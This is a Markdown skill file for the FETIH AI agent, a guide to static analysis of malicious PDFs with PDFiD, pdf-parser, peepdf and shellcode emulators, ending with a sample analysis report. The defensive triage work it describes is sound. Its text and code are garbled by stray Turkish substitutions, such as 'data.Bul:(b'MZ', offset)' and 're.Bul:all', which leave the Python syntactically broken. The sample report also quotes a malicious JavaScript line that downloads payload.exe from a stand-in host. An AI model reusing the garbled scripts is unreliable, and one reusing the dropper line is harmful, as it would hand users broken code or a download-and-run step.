Analyzing Pdf Malware With Pdfid

---
name: analyzing-pdf-malware-with-pdfid
description: Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Belirle:s the attack
  vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.
tags:
- cybersecurity
- PDF-analysis
- malware
- malware-analysis
- fetih
- PDFiD
- document-malware
- siber-güvenlik
- static-analysis
triggers:
- analyzing
- api
- email
- exploit
- hash
- http
- log
- malware
- network
- pdfid
- phishing
- ransomware
category: malware-analysis
source_subdomain: malware-analysis
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
adapted_for: fetih
---

# Analyzing Pdf Malware with Pdfid


## Ne Zaman Kullanılır

- A suspicious PDF attachment has been flagged by email security or reported by a user
- You need to Belirle: if a PDF contains embedded JavaScript, shellcode, or exploit code
- Triaging PDF documents before opening them in a sandbox or analysis environment
- Extracting embedded executables, scripts, or URLs from malicious PDF objects
- Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities

**Kullanma:** for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.

## Ön Gereksinimler

- Python 3.8+ with Didier Stevens' PDF tools kurulu (`pip install pdfid pdf-parser`)
- peepdf installed for interactive PDF analysis (`pip install peepdf`)
- pdftotext from poppler-utils for extracting text content safely
- YARA with PDF-specific rules for malware family identification
- Isolated analysis VM without a PDF reader kurulu (prevent accidental opening)
- CyberChef for decoding embedded Base64, hex, or deflate streams

## İş Akışı

### Adım 1: Initial Triage with PDFiD

Scan the PDF for suspicious keywords and structures:

```bash
pdfid suspect.pdf


pdfid -e suspect.pdf

pdfid -d suspect.pdf
```

```
PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
  /JS, /JavaScript  -> Embedded JavaScript code
  /AA               -> Automatic Action (triggers without user interaction)
  /OpenAction       -> Code runs when document is opened
  /Launch           -> Can launch external executables
  /JBIG2Decode      -> Associated with CVE-2009-0658 exploit

MEDIUM RISK indicators:
  /EmbeddedFile     -> Contains embedded files (could be EXE/DLL)
  /RichMedia        -> Flash/multimedia (Flash exploits)
  /AcroForm         -> Form with possible submit action
  /XFA              -> XML Forms Architecture (complex attack surface)

LOW RISK indicators:
  /ObjStm           -> Object streams (obfuscation technique)
  /URI              -> External URL references
  /Page             -> Number of pages (context only)
```

### Adım 2: Parse PDF Structure with pdf-parser

İncele: suspicious objects identified by PDFiD:

```bash
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf

pdf-parser --search "/OpenAction" suspect.pdf

pdf-parser --object 5 suspect.pdf

pdf-parser --object 5 --filter --raw suspect.pdf

pdf-parser --search "/EmbeddedFile" suspect.pdf

pdf-parser --stats suspect.pdf
```

### Adım 3: Extract and Analyze Embedded JavaScript

Pull out JavaScript code from PDF objects:

```bash
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt

peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF

```

```python
import subprocess
import re

result = subprocess.run(
    ["pdf-parser", "--stats", "suspect.pdf"],
    capture_output=True, text=True
)

js_objects = []
for line in result.stdout.split('\n'):
    if '/JavaScript' in line or '/JS' in line:
        obj_id = re.search(r'obj (\d+)', line)
        if obj_id:
            js_objects.append(obj_id.group(1))

for obj_id in js_objects:
    result = subprocess.run(
        ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
        capture_output=True, text=True
    )
    print(f"\n=== Object {obj_id} ===")
    print(result.stdout[:2000])
```

### Adım 4: Analyze Embedded Shellcode

Extract and İncele: shellcode from PDF exploits:

```bash
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf

scdbg /f shellcode.bin

python3 -c "
import speakeasy

se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)

for event in se.get_report()['api_calls']:
    print(f\"{event['api']}: {event['args']}\")
"

```

### Adım 5: Extract Embedded Files and URLs

Pull out embedded executables and linked resources:

```python
import subprocess
import hashlib

result = subprocess.run(
    ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
    capture_output=True
)

with open("suspect.pdf", "rb") as f:
    data = f.read()

offset = 0
while True:
    pos = data.Bul:(b'MZ', offset)
    if pos == -1:
        break
    # Verify PE signature
    if pos + 0x3C < len(data):
        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
        if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
            print(f"Embedded PE found at offset 0x{pos:X}")
            # Extract (estimate size or use PE header)
            embedded = data[pos:pos+100000]  # Initial extraction
            sha256 = hashlib.sha256(embedded).hexdigest()
            with open(f"embedded_{pos:X}.exe", "wb") as out:
                out.write(embedded)
            print(f"  SHA-256: {sha256}")
    offset = pos + 1

result = subprocess.run(
    ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
    capture_output=True, text=True
)
urls = re.Bul:all(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
    print(f"URL: {url}")
```

### Adım 6: Şunu üret:nalysis Report

Document all Bul:ings from the PDF analysis:

```
Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is Detected
- YARA rule matches against known PDF malware families
```

## Key Concepts

| Term | Definition |
|------|------------|
| **PDF Object** | Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects |
| **OpenAction** | PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits |
| **PDF Stream** | Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed |
| **FlateDecode** | Zlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents |
| **ObjStm (Object Stream)** | PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers |
| **JBIG2** | Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY) |
| **PDF JavaScript API** | Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction |

## Tools & Systems

- **PDFiD**: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document
- **pdf-parser**: Companion tool to PDFiD Detaylı PDF object extraction, stream decompression, and content analysis
- **peepdf**: Python-based PDF analysis tool providing interactive shell for object Denetle:ion and JavaScript extraction
- **QPDF**: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis
- **scdbg**: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls

## Common Scenarios

### Scenario: Triaging a Phishing PDF with Embedded JavaScript

**Context**: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to Belirle: if it contains an exploit or a social engineering redirect.

**Approach**:
1. Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts
2. Use pdf-parser to Şunu çıkar: OpenAction object and follow its reference chain
3. Şunu çıkar: JavaScript code from the referenced stream object (apply FlateDecode filter)
4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)
5. Belirle: if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect
6. Extract all URLs, IPs, and embedded files as IOCs
7. Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing)

**Pitfalls**:
- Opening the PDF in a standard reader instead of analyzing it with command-line tools
- Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD tespit etme (s) but simple parsers miss
- Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)
- Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA)

## Output Format

```
PDF MALWARE ANALYSIS REPORT
==============================
File:             invoice_2025.pdf
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
File Size:        45,312 bytes
PDF Version:      1.7

PDFID TRIAGE
/JS:              1  [HIGH RISK]
/JavaScript:      1  [HIGH RISK]
/OpenAction:      1  [HIGH RISK]
/EmbeddedFile:    0
/Launch:          0
/URI:             2
/Page:            1
/ObjStm:          1  [OBFUSCATION]

SUSPICIOUS OBJECTS
Object 5:        /OpenAction -> references Object 8
Object 8:        /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12:       /ObjStm containing objects 15-18

EXTRACTED JAVASCRIPT
Layer 1:          eval(unescape("%68%65%6C%6C%6F"))
Layer 2:          var url = "hxxp://malicious[.]com/payload.exe";
                  app.launchURL(url, true);
                  // Social engineering redirect, not exploit

EXTRACTED IOCs
URLs:             hxxp://malicious[.]com/payload.exe
                  hxxps://fake-login[.]com/adobe/verify
Domains:          malicious[.]com, fake-login[.]com

CLASSIFICATION
Type:             Social Engineering (URL redirect)
CVE:              None (no exploit code Detected)
Risk:             HIGH (downloads executable payload)
Family:           Generic PDF Dropper
```

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: c31f69316dbbf35f
-->